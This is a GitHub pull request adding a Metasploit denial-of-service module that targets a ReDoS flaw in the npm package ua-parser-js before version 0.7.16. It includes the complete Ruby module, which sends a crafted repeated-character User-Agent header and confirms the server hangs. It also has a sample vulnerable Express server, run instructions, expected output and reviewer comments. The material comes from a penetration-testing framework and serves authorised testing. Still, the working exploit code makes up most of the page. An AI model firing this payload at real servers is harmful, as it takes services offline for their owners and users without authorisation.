Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding ua_parser_js ReDoS Module #9284

Merged
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
62 changes: 62 additions & 0 deletions documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md
@@ -0,0 +1,62 @@
## Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
Any application that uses a vulnerable version of this module and calls the `getOS`
or `getResult` functions will be vulnerable to this module. An example server is provided
below.

```
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lets change this to be more of a 'how to install' to include that example. See https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/gopher/gopher_gophermap.md#ubuntu-1604-install as an example. All the info is captured here though, just a little re-arranging

npm i ua-parser-js@0.7.15
```

## Verification Steps

Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/ua_parser_js_redos`.
10. `set RHOSTS <IP>`.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

rhost not rhosts

11. `run`.
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.

## Scenarios

### ua-parser-js npm module version 0.7.15

Expected output for successful exploitation:

```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```

### Example Vulnerable Application

```
// npm i express
// npm i ua-parser-js@0.7.15 (vulnerable)
// npm i ua-parser-js (non-vulnerable)

const express = require('express')
const uaParser = require('ua-parser-js');
const app = express()

app.get('/', (req, res) => {
var parser = new uaParser(req.headers['user-agent']);
res.end(JSON.stringify(parser.getResult()));
});

app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
```
113 changes: 113 additions & 0 deletions modules/auxiliary/dos/http/ua_parser_js_redos.rb
@@ -0,0 +1,113 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize
super(
'Name' => 'ua-parser-js npm module ReDoS',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

getting kinda nit picky here but can we tighten up the spaces before the =>? i think 2 or 3 could be removed and everything still spaced out nicely

'Description' => %q{
This module exploits a Regular Expression Denial of Service vulnerability
in the npm module "ua-parser-js". Server-side applications that use
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
if they call the "getOS" or "getResult" functions. This vulnerability was
fixed as of version 0.7.16.
},
'References' =>
[
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
['CWE', '400'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As per comment in PR, was the project notified of the issue? That would give something to point back to.

],
'Author' =>
[
'Ryan Knell, Sonatype Security Research',
'Nick Starke, Sonatype Security Research',
],
'License' => MSF_LICENSE
)

register_options([
Opt::RPORT(80)
])
end

def run
unless test_service
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
else
trigger_redos
test_service_unresponsive
end
end

def trigger_redos
begin
print_status("Sending ReDoS request to #{peer}.")

res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'headers' => {
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
}
})

if res.nil?
print_status("No response received from #{peer}, service is most likely unresponsive.")
else
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
end

rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
rescue ::Timeout::Error
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
end
end

def test_service_unresponsive
begin
print_status('Testing for service unresponsiveness.')

res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})

if res.nil?
print_good('Service not responding.')
else
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
end
rescue ::Rex::ConnectionRefused
print_error('An unknown error occurred.')
rescue ::Timeout::Error
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
end
end

def test_service
begin
print_status('Testing Service to make sure it is working.')

res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})

if !res.nil? && (res.code == 200 || res.code == 404)
print_status('Test request successful, attempting to send payload')
return true
else
return false
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
return false
end
end
end